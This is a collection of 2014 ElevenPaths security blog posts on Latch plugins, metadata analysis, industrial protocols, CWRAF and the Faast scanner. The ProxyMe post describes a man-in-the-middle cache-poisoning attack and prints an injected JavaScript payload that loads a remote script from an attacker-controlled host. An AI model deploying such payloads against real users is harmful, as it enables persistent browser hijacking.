News: Latch plugin for SugarCRM is out

miércoles, 27 de agosto de 2014

We have uploaded to GitHub our latest plugin for SugarCRM. It makes it easier to use Latch technology with this popular CRM platform. You can download it form here. This is a little "how to" so you can check how easy the integration is.

Prerequisites

Admins have to follow the usual steps if they want to protect SugarCRM with Latch:

  1. Create a developer account if they haven´t it.
  2. Create an application with the features they want.
  3. Download the plugin.
  4. Install and configure the plugin in their SugarCRM environment. 
Steps 1, 2 and 3 are documented on the website of Eleven Paths, step 4 is going to explained in this post.

Go to the "Admin" panel in SugarCRM.

SugarCRM Admin Panel

Go to module loader using the "Module Loader" link, in the "Developer Tools" section.

"Module Loader" in SugarCRM

In this section add the downloaded zip file, upload and install it.

Add the downloaded module to SugarCRM

Module installation


Next, rebuild SugarCRM template. Return to the "Admin" panel and click on the "Repair" link, and then on "Quick Repair and Rebuild".

Rebuild the templates

Once the process is completed, SugarCRM will rebuild the application and Latch module can now be set up. A "Latch Configuration" link will appear in the "Admin" panel.

Accessing Latch module setup menu


Here the administrator has to add the Application ID and the Application Secret.

Application ID an Application secret form

Latch is now ready to be used and users are ready to pair their accounts. Users with SugarCRM accounts have to set their own accounts going to "Pair with Latch" and typing the characters generated with the phone into the text box displayed on the web. Once the token generated by Latch is introduced into their accounts, a notification will be received on the phone, announcing that the account is already paired.

SugarCRM successfully paired

Now the user may lock and unlock access to his SugarCRM account and a notification on his phone will be received, warning about anyone trying to access the account.

Notification of an unauthorized access attempt

The database

When the plugin is installed in SugarCRM, SugarCRM database is set to store the values needed by Latch.
The latch_accounts table indicates which user account has been paired with Latch, and the account id user.

Table latch_accounts with the users that have already paired their accounts

ElevenPaths publica Metashield Analyzer

viernes, 22 de agosto de 2014

Ya hemos visto en numerosas ocasiones que el uso sin control de metadatos, puede constituir un riesgo para la seguridad de una organización. Al fin y al cabo, son datos que se asocian de forma automática a casi cualquier tipo de documento y que, sin el control y tratamiento adecuado, pueden acabar derivando en incidentes de seguridad para una organización cuando salen de su ámbito interno.

Por ello, en ElevenPaths hemos creado la gama de productos MetaShield Protector, que ayuda a las organizaciones a prevenir la fuga de información sensible producida generalmente a través de los metadatos que se encuentran asociados a los documentos. Algunos de estos metadatos pueden ser:

  • Identificación de usuarios y empresas y la detección de interrelaciones que se produce entre dichos factores.
  • Historial de acciones realizada en documentos.
  • Software utilizado
  • Información táctica interna de una organización, como cuentas de correo,
  • Direcciones IP, tipos de sistemas operativos o recursos compartidos de red, entre otros, que pudieran dar lugar a la realización de ataques dirigidos.
  • Geo-posicionamiento en el espacio y tiempo, como la que se produce mediante los metadatos GPS asociados a formatos de imagen.


Por ello, hemos publicado la herramienta Metashield Analyzer, basada en la antigua FOCA online, que permite poder ver, de forma totalmente gratuita, los metadatos asociados a un documento. El funcionamiento es muy simple, tan sólo es necesario subir el fichero a analizar, e inmediatamente podremos ver los metadatos de ese fichero:


 


Esperamos que Metashield Analyzer sea de utilidad, y por favor, contactad con nosotros para cualquier duda o comentario que nos queráis hacer llegar.

Nueva herramienta ProxyMe y ataques de cache poisoning (y II)

jueves, 21 de agosto de 2014

ProxyMe es una aplicación proxy desarrollada por nuestro compañero Manuel Fernández de Eleven Paths. Fue presentada durante el evento Arsenal del congreso de seguridad Black Hat, que se celebró entre los días 2 y 7 de agosto del 2014 en Las Vegas. Ya está disponible para su descarga con el código fuente desde https://code.google.com/p/proxyme/.

El plugin "CachePoison.dll" utiliza un ataque conocido como "Cache poisoning". Fundamentalmente, consiste en forzar a un usuario a que su navegador cachee determinado contenido, al que normalmente se le suele añadir código malicioso para que sea ejecutado por el cliente.

Para conseguir que el contenido sea cacheado (y se consiga una permanencia del código malicioso en el equipo cliente) es necesario realizar previamente un ataque de "man-in-the-middle". De esta tarea se encarga ProxyMe. El plugin "CachePoison.dll" se encarga a su vez de modificar la respuesta añadiendo la siguiente cabecera HTTP:

Expires: Thu, 25 Dec 2100 11:00:00 GMT

De este modo, cuando el cliente recibe la respuesta (modificada por el plugin), la almacena en caché teóricamente hasta el 25 de diciembre del 2100, lo que a efectos prácticos es de forma permanente. El plugin también añade las siguientes líneas de código a todos los ficheros javascript por donde el usuario navegue durante el tiempo que utilice el servidor proxy. Esto le permitirá disfrutar del control sobre ese equipo a un hipotético atacante :

function payload()
{
   x=document.getElementById("poison");
   if (x == null) 
   { 
       var script= document.createElement('script');
       script.src='http://attacker/js.js';
       document.getElementsByTagName('html')[0].appendChild(script);
   }
}
payload();

Este código javascript carga de forma dinámica en el árbol DOM HTML una nueva etiqueta "script" que carga a su vez otro fichero localizado en "http://attacker/js.js". Esta URL sería controlada por el atacante y contendría el código deseado.

Esquema del flujo de ataque

La URL controlada por el atacante es configurable. Al igual que ProxyMe, el plugin dispone de un pequeño fichero de configuración en "/Plugins/ cachepoison.cfg".


Fichero de configuración del plugin

La configuración es muy sencilla. Dispone de tres parámetros: "hookUrl", "mode" y "sandboxpoison". Los modos en los que puede trabajar son "open" y "sandbox". En ambos casos será necesario introducir una URL con un javascript controlado por el atacante en el parámetro "hookUrl".

Modo open y sandbox

La principal diferencia entre los modos "open" y "sandbox" es:

  • Modo "open": permite que los usuarios puedan navegar como si de un proxy normal se tratara y sin ninguna limitación. En este caso el plugin "infectará" todos los ficheros javascript que solicite el navegador del usuario. Pero es importante recordar que esto puede suponer un riesgo que el atacante no tiene por qué asumir. La razón es que si se usa este modo, el servidor proxy del atacante queda expuesto para cualquier uso, por lo que podría ser utilizado para realizar otro tipo de actividad. 
  • El modo "sandbox": Solventa ese riesgo y limita la navegación a las URL indicadas en el campo "sandboxPoison". Adicionalmente se fuerza al navegador del cliente a navegar por esas direcciones para asegurar su infección. El proxy muestra un mensaje de error para evitar que el usuario sospeche. 

Fuerza al cliente a almacenar en caché las URLs indicadas

De este modo los ficheros indicados serán cacheados en el navegador de los usuarios que hayan navegado a través del servidor proxy. En el ejemplo que se muestra a continuación se pueden ver las últimas líneas que han sido añadidas al fichero de Google Analytics. El fichero de Google Analytics resulta de especial interés en este ataque debido a que este se carga desde una gran cantidad de sitios web, por lo que cualquier sitio que utilice este javascript como recurso se verá afectado.

Fichero con contenido malicioso cacheado

Una vez modificado y cacheado el contenido, el usuario queda a la merced del atacante. En este estadio del ataque, ya no importa que el cliente deje de utilizar el proxy o que cierre el navegador... el contenido ha sido cacheado y pueden pasar incluso años hasta que deje de encontrase en la caché (a no ser que el usuario limpie la caché explícitamente).

Como pequeña demostración, se muestra en la imagen cómo al acceder a una página legítima como puede ser https://www.elevenpaths.com (que utiliza el recurso externo https://ssl.google-analytics.com/ga.js) se cargaría el código malicioso, que a su vez haría una inclusión del código localizado en https://www.itsm3.com/hook.js. En este caso, solo se muestra un mensaje de alerta.

Carga del contenido malicioso cuando ya está almacenado en caché
Esta es únicamente una de las muchas utilidades que se le puede dar a ProxyMe. Si se desea conocer más o colaborar con el desarrollo de plugins, puedes contactar con el autor desde la página del proyecto.

BlackHat Arsenal

En cuanto al evento Arsenal en sí, resultó un éxito. Tanto por las distintas herramientas que han sido mostradas como por la representación española (cada año más numerosa y representativa). En esta edición se presentaron las herramientas "made in Spain": Voyeur, WhatsApp Privacy Guard y ProxyMe,  de la mano de Juan Garrido, Jaime Sanchez y Manuel Fernández respectivamente.

De izquierda a derecha: Jaime Sanchez, Nabil Ouchn, Andres Riancho, Andreas Schmidt, Juan Garrido y Manuel Fernández


Pero en Arsenal, (y mucho menos en Las Vegas) no todo son conferencias. El congreso BlackHat es un lugar magnifico para realizar networking con auténticos genios de la informática con los que compartir conocimientos, anécdotas… y fiesta.

Nueva herramienta ProxyMe y ataques de cache poisoning (I)

Manuel Fernández
manuel.fernandez@11paths.com

Latch SDKs y repositorios

martes, 19 de agosto de 2014


Desde que empezamos a trabajar con la idea de Latch, una de las prioridades que tuvimos siempre es que fuera fácil de integrar por cualquier desarrollador en sus aplicaciones.

Aun cuando la interacción con Latch desde las aplicaciones es mediante su API, hemos ido poniendo a disposición de todos diferentes SDKs para que fuera muy sencilla la integración. A día de hoy contamos ya con SDKs de Java, PHP, python, ruby, .NET, C, PowerShell y Node.js, a los que esperamos ir añadiendo otros en un futuro.

Todos ellos están disponibles en nuestra cuenta de GitHub e incluimos el código fuente o ejemplos de uso, bajo la licencia LGPL para facilitar cualquier tipo de integración.

También hemos incluido los SDKs de Latch en todos los repositorios oficiales de estos lenguajes, para que la instalación y el uso por parte de los desarrolladores sea inmediata. Hoy en día está disponible Latch en:


¿Qué otros lenguajes de programación os gustaría que soportáramos?

Introducción a la Seguridad en Redes Industriales (y III)

lunes, 18 de agosto de 2014

Antiguamente, en entornos industriales era normal encontrarse con una red de datos y una red de control "casi" completamente separadas. En la red de datos se solía transmitir gran cantidad de información, sobre todo para la toma de decisiones. Así, uno de los protocolos favoritos para las aplicaciones SCADA era el DNP (Distributed Network Protocol). Sin embargo en la red de control se transmitían pequeños paquetes de información de los elementos de campo bajo monitorización. Así que en ellas, por lo general, no se utilizaban redes ethernet con TCP/IP sino protocolos del tipo buses de campo como ModBus (de capa 7, de aplicación), HART (High way Addressable-Remote-Transducer), Device Net, o CanOpen.

Si bien existen varios protocolos en ambas redes, los más comunes de encontrar son ModBus y DNP, ambos utilizados en una gran variedad de escenarios de conectividad física diferentes, que incluyen RS-232, RS-422, RS-485 y Ethernet con TCP/IP.

ModBus

Creado en el año 1979, es un protocolo de mensajería de la capa de aplicación del modelo OSI. Se utiliza para proporcionar comunicación cliente/servidor entre dispositivos conectados en diferentes tipos de buses de comunicación de uso industrial en general. Su diseño es antiguo y no se realizó pensando en la problemática de la seguridad. Esto tiene consecuencias que podríamos considerar "absurdas" para nuestra mirada actual. Por ejemplo, los dispositivos de ModBus no posean especificaciones claras respecto a cómo deben ser los accesos de entrada y salida a través de los PLC. Dado que los fabricantes de dispositivos con ModBus necesitan agregar más funcionalidades y no existe una definición estándar respecto a cómo deben ser enviados o recibidos los Data Types, cada uno ha agregado extensiones propietarias haciendo que en muchos casos los dispositivos entre distintos fabricantes no puedan interoperar entre sí. Los Data Types soportados por este protocolo solo se basan en entradas (Discrete Input) y salidas de 16 bits sin mayores especificaciones.

Las características básicas de ModBus son:

  • No soporta File Transfer.
  • No posee indicadores de hora y día en su trama. Lee los valores de los rangos de entradas o salidas por la emisión de una única solicitud. Todos los datos son tratados como valor actual, por tanto, sin un dato no es leído, se pierde.
  • Las operaciones de control que soporta son a través de la lectura/escritura de los Data Types (Coils and Holding Registers).

DNP

Es un estándar un poco más nuevo, de 1990. Su versión 3.0 Basic 4 fue creada en 1993. Se diseñó para ser utilizada en las aplicaciones SCADA y en las RTU de las empresas de redes eléctricas. El protocolo fue especificado particularmente para trabajar de manera serial (RS-232 o RS-485) sobre la capa física típicamente en cobre, fibra o radio, aunque también puede utilizarse en conexiones satelitales y en Ethernet (DNP3).

La concepción de DNP3 se basaba principalmente en:
  • Asegurar la integridad de los datos transmitidos.
  • Permitir armar una estructura ágil y flexible para soportar múltiples implementaciones y ser interoperable.
  • Aprovechar al máximo la disponibilidad de las redes cableadas sin sobrecargarlas de información.
  • Mantener como un estándar abierto, no propietario, para asegurarse que incluya los aportes de todas las partes (representantes de las empresas, los fabricantes, los desarrolladores de RTU y los implementadores).

Las características básicas de DNP:
  • Soporta transferencia de archivos.
  • Soporta múltiples métodos de lectura de entradas, como también la encapsulación en un solo mensaje.
  • Posee un TimeStamp por cada lectura.
  • Soporta cambios de eventos (actualizaciones de estado), reduciendo considerablemente el tráfico de la red.
  • Soporta las operaciones de control a través de salida de grupos de objetos (Crob y Analog Output Blocks). Estos objetos de salida también son de lectura/escritura ya que leer el objeto de salida permite obtener las estadísticas de producción.
  • Soporta operaciones de control por etapas (dos etapas más precisamente) como una variable de seguridad, que lamentablemente no es la que más se ve implementada. Con este control, un operador realiza una consulta "Select" y una vez que se confirma por el dispositivo esclavo, puede enviar la petición “Operate”.

A diferencia de ModBus, se encuentran definidos un interesante conjunto de Data Types que describen cómo debe tratarse la información: 16 y 32 bit integral value, 32 y 64 bit floating point values, TimeStamps or not y Quality flags.

La documentación de DNP3 es bastante extensa y tiene diferentes especificaciones:
  • DNP 3.0 - Basic 4 Document Set.
  • DNP 3.0 Data Link Layer.
  • DNP 3.0 - Transport Functions
.
  • DNP 3.0 - Application Layer Specification.
  • 
DNP 3.0 - Data Object Library.

Para obtener más información sobre estos protocolos, recomendamos esta serie de enlaces.

* Introducción a la seguridad en redes industriales (I)
* Introducción a la seguridad en redes industriales (II)


Claudio Caracciolo
claudio.caracciolo@11paths.com

News: Latch plugin for Moodle is out

viernes, 15 de agosto de 2014

We have uploaded to GitHub our latest plugin for Moodle. It makes it easier to use Latch technology with this popular e-learning platform. You can download it form here. This is a little "how to" so you can check how easy the integration is.

Prerequisites

Admins have to follow the usual steps if they want to protect Moddle with Latch:

1. Create a developer account if they haven´t it.
2. Create an application with the features they want (one-time password has not been implemented yet for Moodle).
3. Download the plugin.
4. Install and configure the plugin in their Moodle environment.

Steps 1, 2 and 3 are documented on the website of Eleven Paths and step 4 is going to explained in this post.

Moodle plugin is a zip file, copy its contents to the root directory of Moodle.


Moodle root directory

After copying the plugin, Moodle administrator has to access his own account with username and password, and complete the installation.

Confirmation message

To set up the plugin, the administrator should go to the "Manage authentication" section, under the "Site administration - Plugins - Authentication" menu and enable the Latch plugin.

Enabling the plugin

After enabling the plugin, the administrator has to enter the "Application ID" and the "Secret" to the section corresponding to "Latch" under the "Site administration - Plugins - Authentication" menu.

Entering the app ID and the Secret

Latch is now ready to be used and users are ready to pair their acounts. Users with Moodle accounts have to set their own accounts going to "My Profile settings – Edit profile", access the "Latch" section. Type the token generated on the phone into the text box displayed on the web.

Introduce the token generated by Latch app

A notification will be received on the phone, announcing that the account is already paired.

Notification after successful pairing
Now the user may lock and unlock access to his Moodle account and a notification on his phone will be received, warning about somebody trying to access the account

Notification of an unauthorized access attemp

The database

When Latch is installed in Moodle, Moodle database is set to store the values needed by Latch. Specifically the mdl_config_plugins table stores the Application ID and App Secret.


mdl_config_plugin table with the Application ID an the Secret

The mdl_user_info_data table indicates which user account has been paired with Latch.

mdl_user_info_data table with the users that have already paired their accounts

El nuevo dashboard de Faast

miércoles, 13 de agosto de 2014

Faast ha sido rediseñado por el equipo de diseñadores y programadores web de Eleven Paths. Se ha puesto especial atención en la usabilidad, experiencia de usuario y estética de la página. De entre estos cambios cabe destacar: la modificación de gestión de escaneos (se deja todo en una sola tabla con un amplio abanico de filtros para ordenar y seleccionar los escaneos que  interesen), el log de asignación y manejo de dominios (que ahora se encuentran en una sola ventana para así evitar clics innecesarios), y sobre todo... el dashboard de Faast.

Antiguo dashboard de Faast

La idea detrás del dashboard de Faast es servir como punto de entrada a la herramienta y permitir una vista general de todos los escaneos lanzados recientemente, del estado actual de los dominios del usuario en términos de vulnerabilidades y también servir como un acceso rápido a los demás puntos de interés de la página. Esta primera versión mostrada arriba, estaba compuesta por cuatro secciones:
  • Información general: Tres datos que indicaban el estado en general de la cuenta, como por ejemplo desde hace cuánto que no se lanzaba un escaneo (es muy recomendable lanzarlos en modo continuo o, en su defecto, bastante a menudo, para minimizar el tiempo de exposición en caso de que una nueva vulnerabilidad aparezca), el número de vulnerabilidades encontradas en el último día y el número de proyectos.
  • El gráfico circular: Basándose en el dominio seleccionado en el selector, este gráfico mostraba las vulnerabilidades clasificadas por criticidad del último escaneo en el dominio seleccionado.
  • Los servicios de red del último escaneo: como el gráfico circular, se basaba en el dominio seleccionado en el selector y mostraba un diagrama de barras con la cantidad de servicios de red encontrados en el último escaneo lanzado.
  • La evolución de vulnerabilidades encontradas en un dominio: También basada en un dominio en concreto, este gráfico mostraba las vulnerabilidades encontradas en los últimos escaneos. Aporta una sensación de continuidad y evolución en los resultados.

El proceso de mejora estético y de funcionalidades que de forma continua desarrolla el equipo de Faast, trabajó para una renovación que contuviese todas las propuestas de los clientes.

Nuevo dashboard de Faast

Uno de los elementos que faltaba en el Dashboard antiguo era un componente temporal. Es cierto que teníamos la gráfica de evolución de vulnerabilidades, pero faltaba algo que pudiese darle al usuario la información de qué escaneos habían sido lanzados, cuándo habían sido lanzados, su estado y cuánto duraron. Por estas razones se decidió añadir un timeline.

Timeline en el dashboard



Este timeline permite a simple vista saber qué escaneos están acabados (verde), detenidos (rojo) o en ejecución (azul) y cuánto ha durado cada uno (recordemos que depende de la cantidad de "workers" usados en el escaneo, así como del tamaño del contenido del dominio a escanear).

Como se puede observar arriba, el timeline se ha colocado como elemento principal del dashboard. Junto con los cinco recuadros de la derecha, ofrecen una información general de la cuenta y de todos los escaneos lanzados. También sirve como puerta de entrada a los detalles de los escaneos, puesto que al hacer clic en cualquiera de las barras, el usuario será redirigido directamente a los resultados de ese escaneo.

Además, se han mejorado los puntos de información en texto, añadiendo más funcionalidad. Primero, se muestra la cantidad de escaneos lanzados en total, seguido de los dominios encontrados en el último escaneo y los escaneos activos, junto con la información que ya incluíamos previamente: el tiempo que ha pasado desde el último escaneo y la cantidad de vulnerabilidades encontradas ese día. El diagrama de barras que informaba de los servicios de red encontrados en el último escaneo ha sido eliminado. En cambio, los diagramas de evolución de vulnerabilidades y el gráfico circular se han mantenido y mejorando su estética y visibilidad. Ofrecen una información muy útil para el usuario y que se consideró importante conservarlos.

El dashboard de Faast seguirá mejorando siempre que los cambios permitan cumplir mejor su cometido: ser un punto de entrada útil e ilustrativo para toda la herramienta.

Juan Luis Sanz
juanluis.sanz@11paths.com

Introducción a la seguridad en redes industriales (II)

lunes, 11 de agosto de 2014

Continuando con la introducción y partiendo del esquema por capas utilizado, se debe pensar en la reducción de riesgos en cada uno de los posibles escenarios en los que nos movemos. Analizando los vectores, se logra una mayor comprensión de la mirada de un potencial atacante.

Fuente cci-es.org


Vectores de ataque

Muchos de los vectores relacionados con las dos capas inferiores son fácilmente detectables o reconocibles, por la propia experiencia intrínseca a la seguridad en general:

a) lograr acceso físico hasta donde están los sensores, los actuadores o los PLC para alterar de alguna manera sus mediciones (en caso de los sensores) o sus configuraciones de actuación en los actuadores y los PLC.

b) Interceptar, interferir y/o manipular la información de las RTU vía Wi-Fi o GPRS. Son comúnmente utilizadas para convertir señales analógicas a información digital y por tanto como conversores de protocolos, suelen ofrecer estos tipos de conectividades.

Al subir en el modelo por capas propuesto, nos vamos posicionando en terrenos muy conocidos puesto que estamos hablando de aplicaciones...:

c) ...que corren en sistemas operativos comunes (es muy habitual Windows XP) y que no llevan parches porque la aplicación en sí misma no los soporta.

d) ...que pueden tener fallos de seguridad como cualquier otra aplicación (incorrecta validación de parámetros, escasa o nula segmentación de roles y perfiles, precario manejo de sesión, etc.)

e) ...que utilizan protocolos (algunos conocidos y otros no tanto),

f) ...que son utilizadas por personas que pueden cometer errores en sus procesos de monitorización o revisión, o bien tener información incorrecta por no contar con un ERP que la centralice. Un caso típico es el de los documentos Excel que cada persona involucrada tiene en su PC con los datos y filtros que él considera importantes... sin saber cuáles juzgaron importantes sus compañeros de trabajo.

Dado que las técnicas para comprometer la seguridad utilizando vectores de ataque a), b) y f) son muy conocidas (ingeniería social, wireless hacking, GPRS hacking, etc.) nos centraremos en los casos: sistemas operativos (c), aplicaciones (d), protocolos (e).

Sistemas Operativos

Cómo muchos pueden suponer ya, el sistema operativo más utilizado para sistemas industriales es Windows. La gran mayoría de los sistemas SCADA que podemos encontrar están diseñados para ser ejecutados sobre Windows, y muy particularmente sobre XP (ya sin soporte). Curiosamente Microsoft no recomienda (ni ahora ni nunca lo ha hecho) este tipo de sistema operativo para sistemas críticos. Sin embargo, al echar un rápido vistazo por los manuales de instalación de muchos de los sistemas SCADA, es más que habitual encontrar requerimientos como los siguientes:


  • Instalar sobre Windows XP SP 2 o SP 3.
  • Deshabilitar la instalación de parches.
  • No implementar actualizaciones sin el visto bueno de nuestros ingenieros (los del sistema SCADA), de lo contrario no hay garantías de funcionalidad.
  • Asegurarse de mantener el cortafuegos desactivado.
  • No instalar ningún producto de antivirus ni antispyware.
  • El usuario sobre el que se ejecuta la aplicación debe disponer de permisos administrativos.


En definitiva, ante el panorama propuesto, no tiene demasiado sentido ahondar en cómo y por qué supone un (sencillo e) importante vector de ataque el sistema operativo.

Aplicaciones

Probablemente muchos piensan que las soluciones de seguridad en los sistemas industriales se basan en las aplicaciones, pero no. Independientemente de todo el daño que se puede ocasionar a partir de comprometer el sistema operativo, las aplicaciones por sí mismas resultan (en muchos casos) perfectas para enseñar sobre hacking web:

  • Es muy habitual encontrar problemas de cross site scripting (XSS).
  • Sencillos problemas de inyección SQL.
  • Carencia de cifrado.
  • Separación de roles y funciones sin demasiados controles.
  • Suplantación de identidades por medio de robo de cookies.
  • Etc…

Es cierto que algunos fabricantes están modificando rápidamente su forma de desarrollar aplicaciones para poder ofrecer una mejor seguridad. Sin embargo, en los procesos industriales, las actualizaciones reales de los sistemas tardan mucho tiempo en implementarse. Estamos hablando de hasta años en algunos casos. Además, se sigue dependiendo de personas que nunca trabajaron sobre el concepto de security, por lo que, hoy por hoy, es posible encontrar muchísimos sistemas industriales expuestos a internet:

  • Vía ADSL sin conocimiento del departamento de IT y mucho menos del de seguridad.
  • Usuarios y claves por defecto con acceso por VNC sobre HTTP.
  • Por supuesto, mayormente acceso sobre HTTP, no sobre HTTPS. Y varias de las implementaciones sobre HTTPS sin certificados válidos.

En estas instancias, está claro que hay mucho por hacer aún en el mundo industrial, que básicamente se encuentra unos diez años por detrás en términos de seguridad comparados con el mundo corporativo.

Esto puede resultar muy tentador para ciertos atacantes, pero como advertencia general cabe recordar que no se debe olvidar el cuadro completo. Al ejecutar una prueba (exploit o ataque manual) sobre un sistema industrial, lo más grave ante un fallo no será que el sistema se cuelgue o se caiga un servicio, sino que algo del mundo físico puede fallar poniendo en peligro vidas humanas. Muchos sistemas industriales poseen protecciones mecánicas ante un cambio de parámetros sistematizado sin sentido o por reacción tardía de un operador, actuando como control compensatorio. Pero no todas las plantas ni procesos industriales los contemplan. Los auditores con más experiencias recordarán que lanzar un simple "nmap -sV" puede volver loco un viejo AS/400 sin actualizar, porque "bindeará" todos sus puertos. Si esto puede detener las operaciones críticas de un banco, ¿qué mal puede causar un sistema industrial que controla algún sistema físico que se encarga de transportar personas, por ejemplo?

* Introducción a la seguridad en redes industriales (I)
* Introducción a la seguridad en redes industriales (III)


Claudio Caracciolo
claudio.caracciolo@11paths.com

Ocho siglas relacionadas con las vulnerabilidades (VI): CWRAF

viernes, 8 de agosto de 2014

Continuamos con la serie de entradas relacionadas al ámbito de las vulnerabilidades. MITRE también dispone de la Common Weakness Risk Analysis Framework (CWRAF). Se trata de un conjunto estandarizado de conceptos, prácticas y criterios que permite abordar la valoración de las debilidades de software de la mejor manera posible, a la vez que se adapta a los diversos dominios de negocio.

La iniciativa CWRAF es tan solo una pequeña parte del proyecto de Common Weakness Enumeration (CWE) del MITRE y que al igual que el Common Weakness Scoring System (CWSS), también está patrocinado por el Software Assurance Program de la Oficina de Ciberseguridad y Comunicaciones del U.S. Department of Homeland Security (DHS).

Dentro de los beneficios que esta iniciativa proporciona se encuentran:
  • Ofrece un mecanismo para medir el riesgo de las debilidades, estudiándolas desde el punto de vista de los riesgos que entrañan para la empresa o la misión de la organización.
  • Permite la selección y priorización automática de las debilidades, dependiendo de las necesidades específicas de la organización o su misión.
  • Permite utilizarse en conjunto con el CWSS, con el fin de poder identificar las debilidades más importantes para el dominio de negocio de la organización y que estas puedan ampliar el proceso de Garantía de Software, informando de sus actividades e implementaciones para la protección de las aplicaciones.
  • Permite la posibilidad de crear listas propias y personalizadas, de tipo "Top N" de las debilidades asociadas a aplicaciones y sistemas desarrollados o implementados en su entorno.
En resumen, CWRAF proporciona un medio a clientes, equipos de desarrollo y organizaciones en general para priorizar las debilidades del software que son relevantes dentro de su entorno de negocio. Los usuarios de este framework, pueden fácilmente generar listas de debilidades que afecten a grupos específicos según su enfoque o requisitos. Estas listas pueden ser fácilmente aprovechadas por los distintos dominios de negocio de una organización o incluso por toda una gran empresa para enriquecer sus actividades continuas de mejora y garantizar la producción e implementación de aplicaciones y sistemas más robustos en sus entornos de operaciones. De esta forma, CWRAF puede utilizarse para colaborar con gestión de riesgos en la cadena de suministro (SCRM, Supply chain risk management) o incluso priorizar la formación y educación del personal en base a las necesidades de un sector específico de la empresa o de su totalidad.

Para garantizar la efectividad, este framework admite varios escenarios de uso para distintas partes interesadas. Dentro estas partes definidas por el MITRE, se pueden encontrar desarrolladores y consumidores de software, analistas de código y consultores, investigadores de vulnerabilidades... etc. En general, cualquier otro que comparta los mismos intereses relacionados con las debilidades y sus consecuencias.

Para entender un poco más cómo funciona el CWRAF, observemos la siguiente imagen que nos ofrece el MITRE.

Fuente: http://cwe.mitre.org/cwraf/introduction.html#howtousecwraf

En la parte superior se encuentran los dominios de negocio. Son las distintas categorías, áreas o sectores sobre los que la organización desarrolla o implementa las diversas tecnologías. Estas tecnologías, son agrupadas en grupos tecnológicos y pueden ser compartidas por distintos dominios de negocio. A su vez estos grupos tecnológicos comparten distintos escenarios (representados en la imagen como "Vignettes", siendo estos una pequeña y semi formal descripción de los escenarios) y sobre cada uno de ellos, van asociados un Business Value Context y un Technical Impact Scorecard.

El primero de ellos, sirve como un puente entre las preocupaciones de seguridad que tiene el dominio de negocio y el impacto técnico de las debilidades que pudieran estar presentes en los activos de ese entorno. Este está formado por una descripción de los activos que cada dominio de negocio desea proteger dentro de cada escenario y las prioridades de seguridad asociadas a ellos, junto con los resultados de lo que podría ocurrir si alguno de estos fuera atacado.

El segundo, es una lista de las posibles vulnerabilidades o acciones que pudieran conllevar la explotación de las debilidades presentes en el entorno, asociadas cada una de ellas a la capa en la que podría producirse su explotación. A cada impacto técnico se le asigna una calificación dependiendo de cómo podría afectar el desempeño de la función de negocio definida para ese entorno, y alineada con el Business Value Context.

La manera en que el CWSS refleja la importancia del negocio es mediante el contexto de un entorno, el cual debe definir:
  • Una descripción del sistema o de aplicaciones del entorno que implementan una función de negocios utilizando los distintos grupos tecnológicos.
  • Un Business Value Context, el cual identifique cuales son los principales preocupaciones asociadas a la seguridad de las aplicaciones y sistemas presentes en ese entorno. También debe incluir el daño potencial que podría afectar al negocio si la debilidad llegara a ser explotada por un atacante.
  • Un Technical Impact Scorecard, enumerando todos las acciones posibles que pudieran llevar a cabo un atacante que explotase una debilidad dentro de ese entorno, y la prioridad de estos impactos basados en cómo afectan el desempeño de la función de negocio.
CWRAF, CWE y CWSS

La manera en que CWRAF se integra con CWE y CWSS nos permite obtener una evaluación objetiva en base al dominio de negocio y la función de negocio definida para cada entorno. Para ello observemos la siguiente imagen.

Fuente: http://cwe.mitre.org/cwraf/introduction.html#howtousecwraf


Una vez definido todo el esquema explicado con la primera imagen, el CWRAF proporciona los entornos correctamente definidos con todas las consideraciones anteriormente mencionadas (Descripción, Business Value Context y Technical Impact Scorecard), para que con CWE se definan todas las debilidades listadas en ella que afectan directamente al dominio de negocio. Una vez definido esto, se suministran estos datos obtenidos y los mencionados anteriormente que son obtenidos con el CWRAF (los mismos que se utilizan en el paso anterior), para que con CWSS se realice la valoración de cada una de estas, teniendo en cuenta la valoración de las debilidades utilizando el impacto técnico por parte del CWE y la valoración de las debilidades utilizando el Business Value Context y Technical Impact Scorecard que suministra CWRAF.

Juntando estas dos valoraciones, se realizan los cálculos correspondientes del CWSS y se le aplica un criterio de valoración asociado a la función de negocio de cada uno de los entornos, obteniendo como resultado final una lista de prioridades de las debilidades para cada entorno, identificadas estas con su respectivo CWE-ID. De esta manera se unifican tres de las siglas que hemos explicado en esta serie (CWE, CWSS y CWRAF) para ayudar a mejorar continuamente el desarrollo e implantación de aplicaciones y sistemas en su entorno y contribuir con sus funciones de negocio teniendo en todo momento presente la seguridad.

* Ocho siglas relacionadas con las vulnerabilidades (I): CVE
Ocho siglas relacionadas con las vulnerabilidades (II): CWE y CAPEC
Ocho siglas relacionadas con las vulnerabilidades (III): CVSS
Ocho siglas relacionadas con las vulnerabilidades (IV): CWSS
Ocho siglas relacionadas con las vulnerabilidades (V): CVRF
Umberto Schiavo
umberto.schiavo@11paths.com

Faast: Nuevo diseño (y II)

miércoles, 6 de agosto de 2014

A lo largo del evento Eleven Paths Security Day el día 3 de julio, se presentaron nuevas funcionalidades de Faast que se han ido desarrollando desde que se presentara el producto en el pasado Innovation Day. Una de las características más vistosas es la nueva interfaz web que ofrece el servicio. Por ello, vamos a detallar en esta entrada algunas mejoras del producto, tanto de funcionalidad como de usabilidad.

Continuando con la entrada anterior, analizaremos paso a paso las pantallas restantes.

La visión más global de la vista a la que se accede tras la selección de un escaneo, se puede observar en la siguiente imagen:


Visión completa de resultados de un escaneo. Pulsar para agrandar

Vamos a recorrer brevemente cada una de las pestañas de escaneos.
  • Resumen:

Vista de resumen del escaneo

Esta vista ha sufrido grandes cambios de diseño con el fin de mostrar la mayor información posible de una manera organizada y atractiva. Además se han añadido datos que en la interfaz antigua no se mostraban.
  • Mapa de activos:
Una de las novedades más llamativas de la interfaz se encuentra en esta vista. Esta innovación es lo que llamaremos árbol.

Vista de mapa de activos del análisis

Este árbol representa de manera jerárquica todos los dominios encontrados y para cada uno de ellos, se muestran las URLs encontradas en él ordenadas por carpetas. La siguiente figura lo muestra

Árbol del mapa de activos

Este cambio facilita el análisis de los dominios y URLs al usuario, además de, ofrecerle una visión global del esquema u organización. Una vez seleccionado un dominio del árbol, se muestran en la región de la derecha todos los activos encontrados en él.

  • Vulnerabilidades:

Vista de vulnerabilidades del escaneo
Los cambios realizados en esta vista son en su mayoría de diseño. Las acciones disponibles para cada una de las vulnerabilidades son las siguientes:



El resto de pestañas del escaneo que se muestran a continuación han sido modificadas a nivel de diseño, por lo que no se entrará en detalle con ellas.

  •  Metadatos:
Vista de metadatos obtenidos

  • Servicios de red:

Vista de servicios de red del análisis

  • Software:

